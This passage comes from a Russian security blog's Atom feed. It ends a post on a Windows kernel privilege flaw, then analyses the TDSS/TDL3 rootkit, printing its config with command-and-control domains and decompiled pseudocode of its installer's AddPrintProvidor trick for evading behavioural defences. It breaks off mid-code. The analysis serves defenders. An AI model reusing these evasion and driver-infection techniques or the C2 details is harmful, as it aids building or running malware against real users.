эксплуатации из-под ограниченной учётной записи, выполнив следующие шаги:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Войти в систему под учётной записью администратора.&lt;/li&gt;&lt;li&gt;Запустить редактор реестра (Win+R - regedit) и найти ключ HKEY_USERS\&amp;lt;SID&amp;gt;\EUDC (где &amp;lt;SID&amp;gt; - идентификатор ограниченной учётной записи).&lt;/li&gt;&lt;li&gt;Отредактировать разрешения ключа (пункт "Permissions..." контекстного меню), запретив пользовательской учётной записи доступ к нему.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/EnableEUDC-vuln/workaround.png" /&gt;&lt;/div&gt;&lt;br /&gt;Данную уязвимость так же возможно использовать для обхода UAC, в связи с чем ожидается скорое появление широко распространённых вредоносных программ, которые будут пытаться её эксплуатировать.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-758184565228912550?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/758184565228912550/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2010/12/windows.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/758184565228912550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/758184565228912550'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2010/12/windows.html' title='Новая уязвимость в ядре Windows'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-8375323098557164965</id><published>2010-04-29T02:38:00.000-07:00</published><updated>2011-12-03T16:38:52.452-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='программы'/><category scheme='http://www.blogger.com/atom/ns#' term='Esаge Lab'/><category scheme='http://www.blogger.com/atom/ns#' term='старые записи'/><title type='text'>TDSS Rootkit: Дальнейшее развитие и текущее состояние</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="headmark" style="background-color: #fff2cc; padding: 10 10 10 10; width: 90%;"&gt;&lt;b&gt;Репост из &lt;a href="http://esagelab.ru/blog/research/tdss-rootkit-%d0%b4%d0%b0%d0%bb%d1%8c%d0%bd%d0%b5%d0%b9%d1%88%d0%b5%d0%b5-%d1%80%d0%b0%d0%b7%d0%b2%d0%b8%d1%82%d0%b8%d0%b5-%d0%b8-%d1%82%d0%b5%d0%ba%d1%83%d1%89%d0%b5%d0%b5-%d1%81%d0%be%d1%81%d1%82"&gt;блога Esage Lab&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;Про руткит TDSS - а именно, про ту его версию, которая также известна как TDL3 - написано достаточно много: с момента появления первых прецедентов прошло уже почти полгода. Однако, TDL3 до сих пор является актуальной угрозой, так как на каждое обновление процедур его обнаружения и лечения антивирусами авторы руткита отвечают всё новыми и новыми обновлениями вредоносного кода. Подробно ознакомиться с техническим описанием руткита TDL3 можно по следующим ссылкам (на английском языке):&lt;br /&gt;&lt;br /&gt;&lt;a href="http://rootkit.com/newsread.php?newsid=979"&gt;TDL3 - Why so serious? Let's put a smile on that face...&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.drweb.com/static/BackDoor.Tdss.565_aka_TDL3.pdf"&gt;От BackDoor.Tdss.565 и выше (aka TDL3)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;В данной заметке я хотел бы остановиться на нововведениях, которые появились в TDL3 после публикации его первых обзоров. Кроме того, в конце заметки будут приведены результаты тестирования существующих утилит для лечения TDSS.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Инсталлятор&lt;/h3&gt;Инсталлятор руткита представляет собой исполняемый файл размером ~87Кб, обработанный несложной утилитой для запутывания кода (VirusTotal &lt;a href="http://www.virustotal.com/analisis/d2041f8872432d4224fdc512bf5c5737b82567ef7dfba8bda8049549cf881418-1272326745"&gt;Report&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Ниже приведён конфигурационный файл, используемый руткитом после установки в систему:&lt;br /&gt;&lt;pre&gt;[main]&lt;br /&gt;quote=You people voted for Hubert Humphrey, and you killed Jesus&lt;br /&gt;version=&lt;span style="color: red;"&gt;3.273&lt;/span&gt;&lt;br /&gt;botid=7a91eb86-a6be-4db5-8694-0337dad2c75d&lt;br /&gt;affid=20592&lt;br /&gt;subid=0&lt;br /&gt;installdate=22.4.2010 23:42:43&lt;br /&gt;builddate=&lt;span style="color: red;"&gt;20.4.2010 16:17:53&lt;/span&gt;&lt;br /&gt;[injector]&lt;br /&gt;*=tdlcmd.dll&lt;br /&gt;[tdlcmd]&lt;br /&gt;servers=https://li1i16b0.com/;https://19js810300z.com/;https://lj1i16b0.com/&lt;br /&gt;wspservers=http://7gafd33ja90a.com/;http://n1mo661s6cx0.com/&lt;br /&gt;popupservers=http&lt;br /&gt;version=3.741&lt;br /&gt;&lt;/pre&gt;Как видно, версия руткита - 3.273, последняя на данный момент.&lt;br /&gt;&lt;br /&gt;С самых первых версий TDSS радовал нас оригинальной, и в то же время простой, техникой обхода поведенческой защиты, принцип работы которой основан на использовании механизмов службы диспетчера печати Windows. А именно, осуществлялась регистрация вспомогательной динамической библиотеки диспетчера печати (Print Processor) с помощью функции API функции &lt;a href="http://msdn.microsoft.com/en-us/library/dd183348(VS.85).aspx"&gt;AddPrintProcessor&lt;/a&gt;&lt;a href="http://www.blogger.com/post-create.g?blogID=1259663162418910941" name="bypassing"&gt;,&lt;/a&gt; что, в свою очередь, приводило к выполнению кода, содержащегося в этой библиотеке, в контексте доверенного процесса (а именно, spoolsv.exe). Сложность детектирования подобного поведения для систем типа HIPS заключается в том, что вызов функции AddPrintProcessor в итоге приводит к вызову RPC-функции диспетчера печати, единственный надёжный способ мониторинга которой заключается в контроле недокументированных LPC сообщений. Однако, со временем производители антивирусных защит всё-таки научились корректно препятствовать описанной технике. После этого разработчики руткита начали использовать с той же целью вызов похожей функции, а именно - &lt;a href="http://msdn.microsoft.com/en-us/library/dd183349(VS.85).aspx"&gt;AddPrintProvidor&lt;/a&gt;, вызов которой разработчики проактивных защит контролировать не догадались (sic!):&lt;br /&gt;&lt;pre&gt;BOOL AddPrintProvidor(&lt;br /&gt;    LPTSTR pName,         // reserved, must be NULL &lt;br /&gt;    DWORD  Level,         // provider information level &lt;br /&gt;                          // (if 1 - function uses a PROVIDOR_INFO_1 structure)&lt;br /&gt;    LPBYTE pProviderInfo  // provider information buffer&lt;br /&gt;);&lt;br /&gt;&lt;/pre&gt;&lt;pre&gt;typedef struct _PROVIDOR_INFO_1 &lt;br /&gt;{ &lt;br /&gt;    LPTSTR pName; &lt;br /&gt;    LPTSTR pEnvironment; &lt;br /&gt;    LPTSTR pDLLName; &lt;br /&gt;  &lt;br /&gt;} PROVIDOR_INFO_1, &lt;br /&gt;*PPROVIDOR_INFO_1; &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Взглянем на псевдокод той части инсталлятора, которая выполняет обход проактивной защиты:&lt;br /&gt;&lt;pre&gt;&lt;div&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; генерация временного имени, под которым будет сохранена dll библиотека,&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; загружаемая в контекст доверенного процесса функцией AddPrintProvidor()&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (GetTempFileNameW(&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;PathName, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;ExistingFileName))&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; сама dll библиотека представляет собой тот же самый исполняемый файл дроппера,&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: green;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; в котором выставленны соотвествующие значения флагов PE заголовка.&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (MoveFileExW(&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;NewFileName, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;ExistingFileName, &lt;/span&gt;&lt;span style="color: purple;"&gt;9u&lt;/span&gt;&lt;span style="color: black;"&gt;))&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;        pDLLName &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;ExistingFileName;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)pProvidorInfo &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; L&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;tdl&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;        pEnvironment &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;        AddPrintProvidorW(L&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;tdl&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;1u&lt;/span&gt;&lt;span style="color: black;"&gt;, pProvidorInfo);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (GetLastError() &lt;/span&gt;&lt;span style="color: black;"&gt;==&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1722&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt; The RPC server is unavailable &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;            &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; Служба диспетчера печати не запущена&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;            hScm &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; OpenSCManagerA(&lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;1u&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;            hService &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; OpenServiceA(hScm, &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;spooler&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0x14u&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;            &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (hService)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;            {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; запускаем службу&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;                &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (StartServiceA(hService, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;))&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;                {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;                    SERVICE_STATUS_PROCESS Buffer;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;                    memset(&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;Buffer, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0x1Cu&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;                    &lt;/span&gt;&lt;span style="color: blue;"&gt;do&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;                    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;                        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ... и дожидаемся окончания её запуска&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;                        &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (&lt;/span&gt;&lt;span style="color: black;"&gt;!&lt;/span&gt;&lt;span style="color: black;"&gt;QueryServiceStatusEx(hService, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;Buffer, &lt;/span&gt;&lt;span style="color: purple;"&gt;0x24u&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;pcbBytesNeeded))&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;                            &lt;/span&gt;&lt;span style="color: blue;"&gt;break&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;                        Sleep(dwMilliseconds);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;                    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;                    &lt;/span&gt;&lt;span style="color: blue;"&gt;while&lt;/span&gt;&lt;span style="color: black;"&gt; (Buffer.dwCurrentState &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;4&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt; SERVICE_RUNNING &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;                    pDLLName &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;ExistingFileName;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: black;"&gt;                    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)pProvidorInfo &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; L&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;tdl&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;                    pEnvironment &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;                    AddPrintProvidorW(L&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;tdl&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;1u&lt;/span&gt;&lt;span style="color: black;"&gt;, pProvidorInfo);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;                }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;38&lt;/span&gt; &lt;span style="color: black;"&gt;                CloseServiceHandle(hService);         &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;39&lt;/span&gt; &lt;span style="color: black;"&gt;            }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;40&lt;/span&gt; &lt;span style="color: black;"&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;41&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;42&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...    &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;43&lt;/span&gt; &lt;span style="color: green;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; print providor и dll библиотека больше не нужны, удаляем их&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;44&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;        DeletePrintProvidorW(&lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, L&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;tdl&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;45&lt;/span&gt; &lt;span style="color: black;"&gt;        DeleteFileW(&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;ExistingFileName);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;46&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;47&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;48&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;49&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;br /&gt;В дальнейшем, работая уже в контексте доверенного процесса, инсталлятор руткита загружает драйвер режима ядра, имена файла и системного сервиса для которого генерируются случайным образом. После загрузки в память драйвер руткита выполняет заражение уже установленного в системе легитимного драйвера и инициализирует устройство, обслуживающее собственную зашифрованную файловую систему руткита. На эту файловую систему инсталлятор записывает файлы tdlcmd.dll (код трояна, работающий в User Mode), config.ini (конфигурационный файл, расшифрованный текст которого был приведён выше – этот файл формируется инсталлятором «на лету» их тех данных, которые были «зашиты» в инсталлятор на этапе его сборки и конфигурирования) и bcfg.tmp (исходные конфигурационные данные из инсталлятора). После того, как заражение выполнено, драйвер и инсталлятор самоудаляются, а руткит остаётся жить в системе исключительно как «потерянный» фрагмент исполняемого кода: он записан в последние секторы физического диска и не существующий в виде файла.&lt;br /&gt;&lt;br /&gt;Основное тело руткита не претерпело существенных изменений за последнее время за тем исключением, что обработчики дисковых перехватов руткита теперь дополнительно фильтруют такие запросы IRP, как &lt;a href="http://support.microsoft.com/kb/137247"&gt;IOCTL_SCSI_PASS_THROUGH&lt;/a&gt;. Подобные запросы, адресованые драйверу минипорта, некоторое время использовались утилитами для удаления TDSS.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Заражение драйвера&lt;/h3&gt;Одним из главных нововведений в версии 3.273 является то, что вместо заражения заранее известного драйвера минипорта дискового контроллера руткит теперь заражает случайный драйвер, выбирая его из числа загруженных в память на момент заражения. Претерпел существенные изменения и код, которым осуществляется заражение драйвера (он по-прежнему записывается поверх секции, в которой хранятся ресурсы).&lt;br /&gt;&lt;br /&gt;Во-первых, поиск функций ядра, используемых в этом коде, теперь осуществляется по контрольным суммам, подсчитанным от их имён. В предыдущих версиях руткита адреса нужных функций хранились непосредственно в коде. Это изменение связано с инцидентом, произошедшим после выхода обновления Miscrosoft для уязвимости &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS10-015.mspx"&gt;MS10-015&lt;/a&gt;: в результате использования в коде руткита фиксированных адресов функций ядра огромное количество зараженных пользователей после обновления получили «синий экран смерти» на этапе загрузки и, как следствие,  неработоспособную систему (&lt;a href="http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1381423,00.html"&gt;Windows blue screen may be result of rootkit infection&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Во-вторых, та часть кода заражения, которая осуществляет загрузку тела руткита из последних секторов физического диска, теперь шифруется методом XOR. Однобайтный ключ шифрования хранится в начале зараженной секции наряду с адресом оригинальной точки входа драйвера. Возможно, разработчики руткита предприняли этот шаг для обхода тех антивирусных утилит, которые использовали модификацию загружаемого драйвера в ходе лечения.&lt;br /&gt;&lt;br /&gt;В третьих, для установки нотификатора на создание объектов типа "Control Device Object" в новой версии используется функция &lt;a href="http://msdn.microsoft.com/en-us/library/ff549526(VS.85).aspx"&gt;IoRegisterPlugPlayNotification&lt;/a&gt;, вместо функции &lt;a href="http://msdn.microsoft.com/en-us/library/ff548499.aspx"&gt;IoRegisterFsRegistrationChange&lt;/a&gt;, используемой в более ранних версиях:&lt;br /&gt;&lt;pre&gt;NTSTATUS &lt;br /&gt;IoRegisterPlugPlayNotification(&lt;br /&gt;    IN IO_NOTIFICATION_EVENT_CATEGORY EventCategory,&lt;br /&gt;    IN ULONG EventCategoryFlags,&lt;br /&gt;    IN PVOID EventCategoryData OPTIONAL,&lt;br /&gt;    IN PDRIVER_OBJECT DriverObject,&lt;br /&gt;    IN PDRIVER_NOTIFICATION_CALLBACK_ROUTINE CallbackRoutine,&lt;br /&gt;    IN PVOID Context,&lt;br /&gt;    OUT PVOID *NotificationEntry&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;typedef NTSTATUS (* PDRIVER_NOTIFICATION_CALLBACK_ROUTINE) (&lt;br /&gt;    IN PVOID NotificationStructure,&lt;br /&gt;    IN PVOID Context&lt;br /&gt;);&lt;br /&gt;&lt;/pre&gt;Рассмотрим псевдокод первой части кода заражения системного драйвера:&lt;br /&gt;&lt;pre&gt;&lt;div&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: black;"&gt;NTSTATUS __stdcall InfectedDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;{    &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; получаем указатель на секцию ресурсов зараженного драйвера&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    rsrc &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: 